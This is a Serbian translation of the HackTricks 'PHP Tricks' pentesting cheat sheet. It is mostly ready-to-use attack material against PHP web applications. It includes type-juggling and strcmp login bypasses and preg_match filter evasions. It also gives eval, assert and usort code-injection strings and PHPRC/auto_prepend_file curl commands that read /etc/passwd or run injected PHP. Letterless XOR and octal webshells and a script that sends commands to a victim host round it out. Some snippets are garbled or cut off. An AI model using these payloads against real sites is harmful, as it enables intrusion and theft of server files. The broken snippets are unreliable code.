.. | ||
php-useful-functions-disable_functions-open_basedir-bypass | ||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md | ||
php-ssrf.md | ||
README.md |
PHP Trikovi
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJSTVO!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
{% embed url="https://websec.nl/" %}
Česta lokacija kolačića:
Ovo takođe važi za kolačiće phpMyAdmin-a.
Kolačići:
PHPSESSID
phpMyAdmin
Lokacije:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Zaobilaženje PHP poredjenja
Labava poredjenja/Tip konverzija ( == )
Ako se koristi ==
u PHP-u, mogu se pojaviti neočekivani slučajevi gde poredjenje ne radi kako se očekuje. To je zato što "==" poredi samo vrednosti transformisane u isti tip, ako želite da poredite i da li je tip poredjenih podataka isti, treba koristiti ===
.
Tabele za poredjenje u PHP-u: https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
String koji ne počinje brojem je jednak broju"0xAAAA" == "43690" -> True
Stringovi sastavljeni od brojeva u dec ili heks formatu mogu biti poredjeni sa drugim brojevima/stringovima sa rezultatom True ako su brojevi isti (brojevi u stringu se interpretiraju kao brojevi)"0e3264578" == 0 --> True
String koji počinje sa "0e" i zatim bilo čim će biti jednak 0"0X3264578" == 0X --> True
String koji počinje sa "0" i zatim bilo kojim slovom (X može biti bilo koje slovo) i zatim bilo čim će biti jednak 0"0e12334" == "0" --> True
Ovo je veoma interesantno jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i poredi sa njim. Stoga, ako možete pružiti vrednost koja će kreirati heš koji počinje sa "0e" i bez ikakvog slova, možete zaobići poredjenje. Možete pronaći već heširane stringove sa ovim formatom ovde: https://github.com/spaze/hashes"X" == 0 --> True
Bilo koje slovo u stringu je jednako celobrojnoj vrednosti 0
Više informacija na https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Tip konverzije takođe utiče na funkciju in_array()
po defaultu (treba postaviti na true treći argument da bi se napravilo strogo poredjenje):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Ako se ova funkcija koristi za bilo koju proveru autentifikacije (kao što je provera lozinke) i korisnik kontroliše jednu stranu poređenja, može poslati prazan niz umesto stringa kao vrednost lozinke (https://example.com/login.php/?username=admin&password[]=
) i zaobići ovu proveru:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Strogo tipovanje
Čak i ako se koristi ===
, mogu se pojaviti greške koje čine poređenje ranjivim na tipovanje. Na primer, ako se poređenje vrši konvertovanjem podataka u drugi tip objekta pre poređenja:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
može se koristiti za validaciju korisničkog unosa (proverava da li je bilo koja reč/regex iz crne liste prisutna u korisničkom unosu i ako nije, kod može nastaviti svoje izvršavanje).
Bypass novog reda
Međutim, kada se deliminiše početak regexp-a, preg_match()
proverava samo prvu liniju korisničkog unosa, pa ako na neki način možete poslati unos u više linija, možete zaobići ovu proveru. Primer:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Da biste zaobišli ovu proveru, možete poslati vrednost sa novim redovima url-kodiranu (%0A
) ili, ako možete poslati JSON podatke, pošaljite ih u nekoliko linija:
{
"cmd": "cat /etc/passwd"
}
Pronađite primer ovde: https://ramadistra.dev/fbctf-2019-rceservice
Bajpasovanje greške dužine
(Ovaj bajpas je navodno pokušan na PHP 5.2.5 i nisam uspeo da ga pokrenem na PHP 7.3.15)
Ako možete poslati preg_match()
validan veoma veliki unos, on neće moći da ga obradi i moći ćete da bajpasujete proveru. Na primer, ako je na crnoj listi JSON, možete poslati:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
Bajpasovanje ReDoS-a
Ukratko, problem se javlja jer funkcije preg_*
u PHP-u se oslanjaju na PCRE biblioteku. U PCRE-u određeni regularni izrazi se podudaraju korišćenjem velikog broja rekurzivnih poziva, što troši puno prostora na steku. Moguće je postaviti ograničenje na broj dozvoljenih rekurzija, ali u PHP-u to ograničenje podrazumevano iznosi 100.000 što je više nego što stane na stek.
U ovom Stackoverflow thread-u takođe je povezan u postu gde se detaljnije govori o ovom problemu. Naš zadatak je sada bio jasan:
Poslati unos koji će naterati regex da uradi 100_000+ rekurzija, izazivajući SIGSEGV, čineći da funkcija preg_match()
vrati false
, čime aplikacija misli da naš unos nije zlonameran, bacajući iznenađenje na kraju payload-a nešto poput {system(<veomazla naredba>)}
da bismo dobili SSTI --> RCE --> zastavica :).
Pa, u regex terminima, zapravo ne radimo 100k "rekurzija", već brojimo "korake povratka", što kao što PHP dokumentacija navodi podrazumevano iznosi 1_000_000 (1M) u promenljivoj pcre.backtrack_limit
.
Da bismo to postigli, 'X'*500_001
će rezultirati sa 1 milion koraka povratka (500k unapred i 500k unazad):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Tipovanje tipova za zamagljivanje PHP-a
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Izvrši Nakon Preusmeravanja (EAR)
Ako PHP preusmerava na drugu stranicu, ali nijedna funkcija die
ili exit
nije pozvana nakon postavljanja zaglavlja Location
, PHP nastavlja izvršavanje i dodaje podatke u telo:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Iskorišćavanje putanje pretrage i uključivanje datoteka
Proverite:
{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}
Više trikova
- register_globals: U PHP < 4.1.1.1 ili ako je pogrešno konfigurisan, register_globals može biti aktivan (ili se njihovo ponašanje oponaša). To implicira da u globalnim promenljivima poput $_GET, ako imaju vrednost npr. $_GET["param"]="1234", možete pristupiti tome putem $param. Stoga, slanjem HTTP parametara možete prepisati promenljive koje se koriste unutar koda.
- PHPSESSION kolačići iste domene se čuvaju na istom mestu, stoga ako se unutar domene koriste različiti kolačići u različitim putanjama možete omogućiti da putanja pristupi kolačiću putanje postavljajući vrednost kolačića druge putanje.
Na ovaj način, ako obe putanje pristupaju promenljivoj istog imena možete primeniti vrednost te promenljive u putanji1 na putanju2. Tada će putanja2 smatrati važećim promenljive putanje1 (dajući kolačiću ime koje odgovara putanji2). - Kada imate korisnička imena korisnika mašine. Proverite adresu: /~<USERNAME> da biste videli da li su PHP direktorijumi aktivirani.
- LFI i RCE korišćenjem php omotača
password_hash/password_verify
Ove funkcije se obično koriste u PHP-u za generisanje heševa iz lozinki i za proveru da li je lozinka ispravna u poređenju sa hešom.
Podržani algoritmi su: PASSWORD_DEFAULT
i PASSWORD_BCRYPT
(počinje sa $2y$
). Imajte na umu da je PASSWORD_DEFAULT često isto što i PASSWORD_BCRYPT. Trenutno, PASSWORD_BCRYPT ima ograničenje veličine unosa od 72 bajta. Stoga, kada pokušate da hešujete nešto veće od 72 bajta ovim algoritmom, koristiće se samo prvih 72B:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
Zaobilaženje HTTP zaglavlja zloupotrebom PHP grešaka
Ako PHP stranica ispisuje greške i vraća neke korisnički unete podatke, korisnik može naterati PHP server da vrati neki sadržaj dovoljno dug tako da kada pokuša dodati zaglavlja u odgovor, server će baciti grešku.
U sledećem scenariju napadač je naterao server da baci neke velike greške, i kao što možete videti na ekranu kada je php pokušao modifikovati informacije zaglavlja, nije mogao (tako da na primer CSP zaglavlje nije poslato korisniku):
Izvršenje koda
system("ls");
`ls`;
shell_exec("ls");
Pogledajte ovo za više korisnih PHP funkcija
RCE putem preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Da bi se izvršio kod u "replace" argumentu, potrebno je imati barem jedno poklapanje.
Ova opcija preg_replace funkcije je zastarela od PHP 5.5.0.
RCE putem Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE putem Assert()
Ova funkcija unutar php-a vam omogućava da izvršite kod koji je napisan u stringu kako biste vratili tačno ili netačno (i u zavisnosti od toga promenili izvršenje). Obično će korisnička promenljiva biti ubačena usred stringa. Na primer:
assert("strpos($_GET['page']),'..') === false")
--> U ovom slučaju da biste dobili RCE možete uraditi:
?page=a','NeVeR') === false and system('ls') and strpos('a
Potrebno je razbiti sintaksu koda, dodati svoj payload, a zatim je ponovo popraviti. Možete koristiti logičke operacije poput "and" ili "%26%26" ili "|". Imajte na umu da "or", "||" neće raditi jer ako je prvi uslov tačan, naš payload neće biti izvršen. Isto tako, ";" neće raditi jer naš payload neće biti izvršen.
Druga opcija je dodati izvršenje komande u string: '.highlight_file('.passwd').'
Druga opcija (ako imate interni kod) je izmeniti neku promenljivu kako biste promenili izvršenje: $file = "hola"
RCE putem usort()
Ova funkcija se koristi za sortiranje niza stavki pomoću određene funkcije.
Da biste zloupotrebili ovu funkciju:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
Možete takođe koristiti // da biste komentarisali ostatak koda.
Da biste otkrili broj zagrada koje treba zatvoriti:
?order=id;}//
: dobijamo poruku o grešci (Parse error: syntax error, unexpected ';'
). Verovatno nedostaje jedna ili više zagrada.?order=id);}//
: dobijamo upozorenje. To deluje ispravno.?order=id));}//
: dobijamo poruku o grešci (Parse error: syntax error, unexpected ')' i
). Verovatno imamo previše zatvorenih zagrada.
RCE putem .httaccess
Ako možete učitati .htaccess, možete konfigurisati nekoliko stvari i čak izvršiti kod (konfigurišući te datoteke sa ekstenzijom .htaccess da se mogu izvršiti).
Različite .htaccess ljuske mogu se pronaći ovde
RCE putem Env promenljivih
Ako pronađete ranjivost koja vam omogućava da izmenite env promenljive u PHP-u (i još jednu za učitavanje datoteka, mada uz više istraživanja možda se to može zaobići), možete iskoristiti ovu ponašanje da biste dobili RCE.
LD_PRELOAD
: Ova env promenljiva omogućava vam da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (mada u ovom slučaju možda neće raditi).PHPRC
: Naređuje PHP-u gde da locira svoju konfiguracionu datoteku, obično nazvanuphp.ini
. Ako možete učitati svoju konfiguracionu datoteku, onda koristitePHPRC
da je usmerite na PHP. Dodajte unosauto_prepend_file
koji navodi drugu učitanu datoteku. Ta druga datoteka sadrži normalan PHP kod, koji se zatim izvršava od strane PHP runtime-a pre bilo kog drugog koda.
- Učitajte PHP datoteku koja sadrži naš shell kod
- Učitajte drugu datoteku koja sadrži direktivu
auto_prepend_file
koja naređuje PHP preprocesoru da izvrši datoteku koju smo učitali u koraku 1 - Postavite promenljivu
PHPRC
na datoteku koju smo učitali u koraku 2.
- Dobijte više informacija o tome kako izvršiti ovaj lanac iz originalnog izveštaja.
- PHPRC - još jedna opcija
- Ako ne možete učitati datoteke, možete koristiti u FreeBSD-u "datoteku"
/dev/fd/0
koja sadržistdin
, budeći telo zahteva poslatog nastdin
: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Ili da biste dobili RCE, omogućite
allow_url_include
i dodajte datoteku sa base64 PHP kodom: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Tehnika iz ovog izveštaja.
PHP Staticna analiza
Pogledajte da li možete ubaciti kod u pozive ovih funkcija (sa ovog):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Ako debagujete PHP aplikaciju, možete globalno omogućiti ispis grešaka u /etc/php5/apache2/php.ini
dodavanjem display_errors = On
i restartovati apache: sudo systemctl restart apache2
Dekodiranje PHP koda
Možete koristiti web www.unphp.net za dekodiranje PHP koda.
PHP omotači i protokoli
PHP omotači i protokoli mogu vam omogućiti da zaobiđete zaštitu od pisanja i čitanja u sistemu i kompromitujete ga. Za više informacija pogledajte ovu stranicu.
Xdebug neautentifikovani RCE
Ako primetite da je Xdebug omogućen u izlazu phpconfig()
, trebalo bi da pokušate da dobijete RCE putem https://github.com/nqxcode/xdebug-exploit
Promenljive promenljivih
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE zloupotreba novog $_GET["a"]($_GET["b"])
Ako na stranici možete kreirati novi objekat proizvoljne klase, možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}
Izvršavanje PHP-a bez slova
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Korišćenje oktalnog oblika
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
XOR (ekskluzivno ILI) je binarni operator koji se koristi za izvođenje ekskluzivne disjunkcije nad bitovima. U PHP-u se XOR operator označava kao ^
. XOR operacija vraća istinitu vrijednost samo kada su ulazni bitovi različiti.
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR jednostavan shell kod
Prema ovom objašnjenju, moguće je generisati jednostavan shell kod na sledeći način:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Dakle, ako možete izvršiti proizvoljni PHP bez brojeva i slova možete poslati zahtev koristeći sledeći payload za izvršavanje proizvoljnog PHP-a:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Za detaljnije objašnjenje pogledajte https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (unutar eval-a)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl slično
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
{% embed url="https://websec.nl/" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.